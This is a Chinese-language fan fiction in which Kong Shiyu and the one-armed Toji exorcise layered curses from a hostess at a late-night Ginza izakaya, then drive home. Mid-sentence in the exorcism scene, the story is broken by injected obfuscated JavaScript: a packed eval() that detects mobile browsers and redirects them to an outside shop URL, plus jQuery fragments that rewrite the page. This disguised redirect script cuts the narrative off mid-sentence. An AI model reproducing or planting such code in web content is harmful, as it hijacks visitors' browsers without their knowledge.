银座八丁目的那条小巷里有家深夜料理屋，招牌上没有名字，只挂着一盏写着“营业中”的红色小灯笼，被夜风吹得轻轻晃。
门口铺着一小块湿的青石板，石板上有一道很浅的水痕，是店主每晚开门前用刷子刷一遍留下的。这种细节通常没人注意，孔时雨注意到了，因为他十几年前在首尔做刑警的时候,自己家楼下也有一家这样的店，老板每晚都刷那一块石头。
他推门进去。
甚尔跟在他后面。今晚穿了一件深灰色的薄外套，左边袖口同样塞进口袋里，外套版型偏宽，挂在他身上的时候那个空袖管不太显眼。他低头进门，目光在店内扫了一圈，最后落在最里面靠墙的那个卡座。
椿已经在那里了。
她背对着门口，听见门铃响的时候转过来了一点。三十出头的年纪，头发挽得很松，几缕散在颈侧，没有化全妆，眉毛画了，唇是裸色的。下班之后的样子。她看见孔时雨，脸上有一个很轻的笑，打过太多次招呼，以至于变成肌肉记忆的笑，但落在他身上的时候稍微软了一点。
“孔san。”她的声音是压低的，配合店里的氛围。
孔时雨在她对面坐下来。甚尔在他旁边坐下。卡座是日式的，矮桌，要把腿伸进桌下的凹槽里。甚尔坐下来的动作有一瞬间的停顿。单边平衡的人坐这种座位需要多调整一下重心。椿的视线在他身上停了一下。
视线里不是“哦你少了一条胳膊”。
像是一个早就认识的人朝你点了一下头。
她没有问。
“先喝点什么。”她说，伸手去拿桌边的菜单。手腕很细，戴着一只很薄的金链子，链子上没有坠子。“我点了几样小菜，这位小哥——”她转向甚尔，“什么都吃吗？”
“嗯。”
“酒呢？”
甚尔摇了一下头。
椿没有追问。她朝吧台那边比了个手势，老板点了点头，过了一会儿端来三个小杯子和一壶温好的清酒，外加一杯冰水。冰水放在了甚尔面前。
孔时雨看了椿一眼。
椿当作没看见。她拿起酒壶，先给孔时雨倒。倒酒的姿势很标准，左手虚扶壶底，右手握把，壶嘴贴着杯沿，水流细而均匀。给自己倒的时候没有那么讲究，随便晃了一下。
店里送上小毛巾。三条热的小卷，放在一个竹篮里。
椿伸手拿起一条，递出去。
她递的方向是甚尔的右侧。
甚尔坐在她的斜对面、孔的旁边。她绕了一下，把毛巾从甚尔的胸前的位置送过去，落点正好在他能够单手接住的那一侧。
甚尔接了。
两人之间没有眼神交流，整个动作完成得像在递一份订好的外卖。甚尔把毛巾铺在桌沿，在上面擦了擦手，再把毛巾叠了一下放回竹篮里。叠的方式跟椿放的方式一样，卷成小卷。
孔时雨慢了一拍才拿自己那一条。
“那么，”椿端起酒杯，朝孔时雨的方向虚虚示意了一下，没有碰杯，“今天的事。”
她喝了一口酒。喝完之后呼了一口气，比她说话的语气要重一些。
“最近真的不太行。”她说，“睡着了之后总会做梦，醒来浑身湿的。白天接客的时候有时候会突然——”她顿了一下，找词，“恶心。说不上来的那一种，不是身体上的恶心。”
“多久了？”
“两个月吧。一开始没在意。”她又喝了一口酒。“上个礼拜有个客人，其实没什么，就是普通的一晚，结束之后我去洗手间吐了。然后照镜子的时候，看到自己后面有东西。”
她的语气很平。陈述事实。
“看到了。”孔时雨说。
“看到了。”
“什么样？”
“说不太清楚。像是——”她抬起手，手指在自己的肩膀上方虚虚地比了一下，“在我后面，但又像是在我里面。”
孔时雨没有立刻回应。他端起自己的酒杯喝了一口。清酒的温度刚好，在喉咙里温温地走过去。他用余光看了一眼椿——椿的右肩，往上一点的位置，那里有东西。
不是悬浮在空中的咒灵。是嵌进去的。
它没有形状，或者说它的形状就是椿这个人的形状的一部分。一层薄薄的、暗灰偏褐色的东西，覆盖在她的右半边身体上，像第二层皮肤，沿着颈侧、肩膀、上臂往下延伸，在她的手腕处变薄，几乎看不见。它在缓慢地呼吸，跟椿的呼吸不同步，有自己的一套节奏，比她的更慢。
不是一个咒灵。是很多。叠在一起，已经分不清谁是谁了。这种东西不会主动攻击，但它会一直待在那里，一点一点把宿主的东西吃掉。
一晚两晚累积不出来，是这个职业本身的代价。
孔时雨把酒杯放下。
“能处理。”他说，“今晚就行。”
椿的眼睛在他脸上停了一下。她大概预想过他会说“再观察几天”或者“下次再约一个时间”。两个月才说出口的事情，她下意识地做好了被拖一拖的准备。
“……麻烦了。”
“价钱按之前。”
“嗯。”
生意就这样谈完了。椿端起酒杯，又喝了一口。她的肩膀松了一点，说出口之后整个人卸下了一截。
然后她转向甚尔。
“小哥，”她的声音比刚才低了一些，像把一根弦松了半圈，“你不喝酒？”
“喝不醉。”甚尔说。
“羡慕。”
甚尔轻轻笑了一下，几乎只是动了动嘴角，那道旧疤跟着抬了一下。
“那也没什么好羡慕的，”他说，“喝什么都一个味。”
“那也比我强。”椿把酒杯端起来又放下，“我是越来越不行了，喝两杯就要躺下。”
“年轻时候能喝？”
“年轻时候不挑。”
两个人就这么有一搭没一搭地说着。说的全是没用的话。天气、店里的鳗鱼、银座最近哪家寿司涨了价、椿的猫上个月生病了。甚尔跟得上，他说的不多，但每一句都接得上。他用右手夹了一块腌萝卜放进嘴里，嚼的时候侧着脸看椿。
孔时雨在旁边喝酒。
他点了一根烟，火机摁了两次才着。这种事他不太会注意到，但他点完烟之后吸第一口的时间比平时长了半秒。
椿在跟甚尔说话的时候，姿势是另外一种。
跟孔说话时她是端着的，专业，保持距离。现在她不端着了，胳膊肘可以靠在桌上，话说到一半可以笑出声，笑完可以叹一口气说“算了不说这个了”。
她在甚尔面前可以“算了不说这个了”。
在孔时雨面前她不会。在孔时雨面前她每一句话都说完。
她跟孔认识很多年了，比她认识店里大部分老熟客都久。但孔不是“自己这边的”。孔是来谈事的人，是付钱或者收钱的人，是站在桌子另一边的人。哪怕这张桌子上摆着酒。
甚尔不是。甚尔不知道为什么，在椿眼里就是站在桌子同一边的。
孔时雨抽烟。烟雾从他指尖升起来，在卡座上方的暖黄灯光里散开。他知道这个，知道得很清楚。他做了十几年读人脸色的工作，他不可能看不出来。
但是甚尔。
甚尔。一个浑身肌肉、独臂、看起来就是来动手的人，按理说最不“自己人”的一种气质。但椿一眼就识破了。是更下面的东西。是甚尔身上某种跟椿同一个频段的东西。
那个东西是什么。
孔时雨弹了弹烟灰。他没有让自己往下想。
“差不多了？”他说。
她把酒杯里剩下的酒一口喝完。
“嗯。”她说，“哪里？”
“店里关了之后，就在这里。”孔时雨朝吧台那边比了一下，“老板我打过招呼了。”
“哦。”她笑了一下，“原来如此。”
凌晨一点四十分，店里最后一桌客人结了账走了。老板把店门口的灯笼摘下来，把“营业中”那块小牌翻成“准备中”，然后冲他们点了一下头，自己走进后厨去了。后厨里有水声，他在洗碗。
椿从卡座那边挪过来，坐到了店中央的一张方桌前。他们刚才进来的时候这张桌子没有人坐，孔时雨当时进门扫一眼就选好了它——离吧台最远，离门也最远，地板下面没有管线。
甚尔站起来，绕到孔时雨身后，斜后方。单边平衡的人，要让强的那一侧面对要打击的方向。
孔时雨从外套内袋里拿出一样东西。很小，用油纸包着，打开是几片晒干的、深褐色的叶状物，叶脉清晰，碎边。他从里面取出一片，放在桌上。
然后他从另一个口袋里掏出一支不锈钢的小钳子，普通的那种，五金店能买到。他用钳子夹住那片干叶的一角。
“椿san，”他说，“会有点不舒服。不要动。”
椿点了点头。她坐得很直，双手放在膝盖上。她见过孔做事，但没见过这一面。她没问。
孔时雨没有解释那片东西是什么，某些只在灰色地带流通的杂物。他的工具箱里有几样这种东西，平时不用，只在特定的局面才取出来——天与咒缚的纯物理打击解决不了的、需要先把咒灵从宿主身上“撕开”的局面。
他让椿把右肩的衣服领口往下拉了一点，露出锁骨的位置。那片干叶被他贴在锁骨上方一寸的地方，叶片接触到皮肤的瞬间，椿的肩膀轻微地抖了一下。
然后孔时雨开始说话。说的是韩语，很慢，像在念什么。声音不大，孔自己也不确定那段词起的是什么作用。他从一个老术师那里学来，那个老术师告诉他这是“叫法”，叫的是宿主和附着物之间的那道缝。他没问为什么韩语能叫开日本咒灵身上的缝。这种东西不用解释，能用就用。
椿的呼吸开始变重。
孔时雨能看见椿肩膀上那层薄薄的东西在动了。它原来贴得很服帖，现在一点一点地从她皮肤上浮起来，像一张被慢慢撕开的湿纸。它不情愿，它抗拒。它在椿身体里待了两个月，已经把根须扎进她的某些地方，现在被强行抽出来，每抽一寸，椿就抖一下。
甚尔在斜后方站着。他看不见，但他能感知到——那个东西在脱离的过程中产生的气流变化，那种“不对”的密度从椿身边往外渗。他的右手垂着，手指松松地张开。
断臂残肢动了一下。
残肢往前抬了大概两厘米，像是什么微小的东西想伸出头来。然后停住了。甚尔自己低头看了一眼，没有反应，把它放回去。
那层东西终于完全脱离了。
椿的肩膀垂了下来，整个人像一根被抽走了一半骨头的支架。她还坐着，但不再挺直。眼睛闭着，没有出声。
孔时雨的声音停了。他往后退了一步，让出椿身后那块空间。
那团东西悬浮在椿身后大概一米的位置。脱离了宿主之后它显出了真正的形状——纠缠在一起的好几团，像几条湿透的破布拧成的麻花。每一条都有一个模糊的、发不出声音的嘴，那些嘴在张合，在椿身边的空气里咬来咬去，但已经咬不到她了。
“右后方一米。”孔时雨说，“高度跟你肩膀一样。”
甚尔上前一步。
一拳。
直拳，从右肩送出去，沿着孔报的位置直线穿过去。空气里几乎没有声音——打咒灵的不像打人，没有那种“砰”的撞击，只有一声像把手插进湿沙里的钝响。
那团东西被拳头穿透了正中心。
然后散了，和世田谷那次不一样。世田谷那只是一团墨水滴进清水里，几秒钟就稀释干净。这一团是好几团，被从中心打散之后，每一团朝不同的方向飞出去，又自己开始聚集。空气里像是炸开了一阵无声的烟花。
“两点钟，半米。”孔时雨说。
甚尔转过去，又一拳。
“九点钟，地板上。”
蹲下，掌心拍下去。
“头顶。”
甚尔仰头，右拳上抬。
一共五次。每一次散开之后剩下的部分越来越小，最后一团被甚尔一记反手肘打散的时候，没有散开的烟花，直接化掉。
孔时雨闭上眼睛感受了三秒。空气的密度回来了。
“好了。”他说。
甚尔的右臂垂下来，整个过程里他没有出过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489760|202172||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声。
但他的左臂残肢在最后一拳之后明显地抽了一下。这次幅度有点大，绷带下面的肌肉跳了一下，能从外套袖管上看出来。甚尔自己低头看了一眼。然后他把残肢往身体内侧收了收。
椿睁开眼睛。
她看了看四周。店里跟刚才一模一样，灯光、桌椅、吧台后面老板还在洗碗的声音，什么都没变。她还是看了一圈，像在确认空间。
然后她抬手摸了摸自己的右肩。
“……轻了。”她说。
“嗯。”
她没有再说什么。她坐在那里，双手放回膝盖上，慢慢地吸了一口气。这一口气吸得很深，从肩膀到腹部都鼓起来了一下，吸到底之后她又慢慢呼出去。
呼完之后她笑了。那个笑跟之前任何一个笑都不一样，是一个很慢的、带着点不敢相信的笑。
那种不敢相信让她显得鲜活。
孔时雨在收东西。他把那片用过的干叶用钳子夹起来。它已经变成了灰黑色，完全焦了。孔时雨把它放进一个小小的金属盒子里，盖上盖子，放回外套内袋。然后他蹲下来，从地板上仔细地捡了几片更细小的东西。这些是甚尔几次出拳之后落在地上的、极小的反应物碎屑，肉眼勉强可见，灰白色，像烟灰但更密实。
他用一张折好的小纸把它们扫起来，包好，放进另一个口袋。
甚尔在旁边看着。
他没问那是什么。他只是看了一眼，目光很短暂地停在孔时雨手指的动作上。孔时雨捡那些灰白色碎屑的动作很专注，专注程度不像是在做善后，更像是在做收集。
但甚尔什么都没说。
他扭头去看椿。
“舒服点了？”
“嗯。”椿说，语调有点拉长“舒服多了。”
“那就好。”
“……谢谢。”
一来一回。椿对孔时雨道谢的时候是另外一句更正式的“受您关照了”，对甚尔只是“谢谢”，后者也只点了点头。
后厨的水声停了。老板出来了，在围裙上擦着手。他看了一眼桌子那边，看了一眼椿的脸色，没说什么。他给三个人各倒了一杯热茶。
茶喝完，他们出门。
凌晨两点四十分。银座这个时段已经空了，路灯把人行道照得很亮，亮得有点虚妄。
椿在店门口停了一下，跟孔时雨说了几句结账的事。还是按之前的，转账。她说话的时候已经恢复了平时那种端着的语气，刚才在桌子前的那个椿回到她日常的壳子里去了。
但她临走之前，又看了甚尔一眼。
“小哥”她说，“以后想喝点什么的话，过来。”
“我不喝酒。”
“那就喝水。”
甚尔笑了。
椿朝两个人微微鞠了一躬，很轻、几乎只是低了一下头。她转身走了，脚步比来的时候稳。
孔时雨和甚尔站在店门口看了一会儿她离开的方向。然后孔时雨从口袋里掏出车钥匙。
“走。”
停车场在两个街区外。两个人沿着银座的小巷往回走，路灯一盏一盏地从头顶过去。甚尔走在孔时雨左边，这个位置是他习惯的，没有手的那一侧朝着孔。
走到一半的时候孔时雨开口了。
“她人不错。”
“嗯。”
“认识十几年了。”
“哦。”
就这样有一搭没一搭地，没有再说下去。
车在停车场最里面那一格。孔时雨解锁，坐进去。甚尔绕到副驾驶坐下。系安全带的时候断臂残肢又抽搐了一下，比刚才在店里那次更明显，甚至带着一点延迟的余颤——抽了一下，停一秒，又动了一下。
甚尔皱了皱眉。
孔时雨在驾驶座上没有立刻发动。他扭头看了一眼。
“还好？”
“嗯。”
“那个，幻肢痛？”
“不是。”甚尔说，“不太一样。”
他没再多说。孔时雨也没再追问。
车发动了。中控台亮起来，孔时雨伸手摸了一下音响。他很少在车里放音乐，平时上车都是直接开走。这次他停了一下，按了一下播放键。
一首很旧的韩语歌从喇叭里出来。九十年代的，男声，不是流行的那种，是一种很慢的、有点忧郁的民谣。歌词甚尔听不懂。
车开出停车场，拐上首都高架。
凌晨三点的高架路上几乎没有车。东京的夜在车窗外铺开，远处有几栋写字楼的顶层灯还亮着，被车流的速度拉成一道道短短的金线。
甚尔靠在副驾驶上，眼睛半闭着。若有所思地，他没有问那是什么歌。
孔时雨开车。一只手搭在方向盘上。
歌放完了，下一首调子差不多。他自己都很久没听这张专辑了，不知道为什么今晚突然想放。
到家的时候是凌晨四点二十分。
公寓楼下的便利店还开着，孔时雨停车的时候问了一句要不要买点什么，甚尔摇头。两个人上楼，进门，玄关感应灯亮起来。
甚尔把外套脱了搭在玄关的椅子上，直接走进客厅。
鱼缸的灯还亮着。孔时雨设的定时，每天晚上十点关，凌晨四点开。蓝色的光从客厅那面墙投出来，把整个客厅染成一种水下的颜色。鱼在缸里慢慢游，几条小型的灯科鱼，尾巴是橙色的。
甚尔走到鱼缸前面，没坐下，就那么站着看了一会儿。
孔时雨在玄关脱鞋。脱完鞋抬头，看见甚尔站在鱼缸前面的背影，整个人浸在那一层蓝光里，连断臂那一侧的轮廓都被柔化了。
他没动。
过了一会儿甚尔转过来，朝沙发走过去。他经过孔时雨身边的时候，左臂残肢又抽了一下。
孔时雨听见自己说了一句。
“睡吧。”
“嗯。”
甚尔走到沙发那边坐下，开始单手脱袜子。孔时雨进了厨房，给鱼缸的过滤系统加了一瓶预先晾好的水。这是他每天回家的最后一件事，不管多晚。
鱼在水里游。
客厅的蓝光打在两个人身上。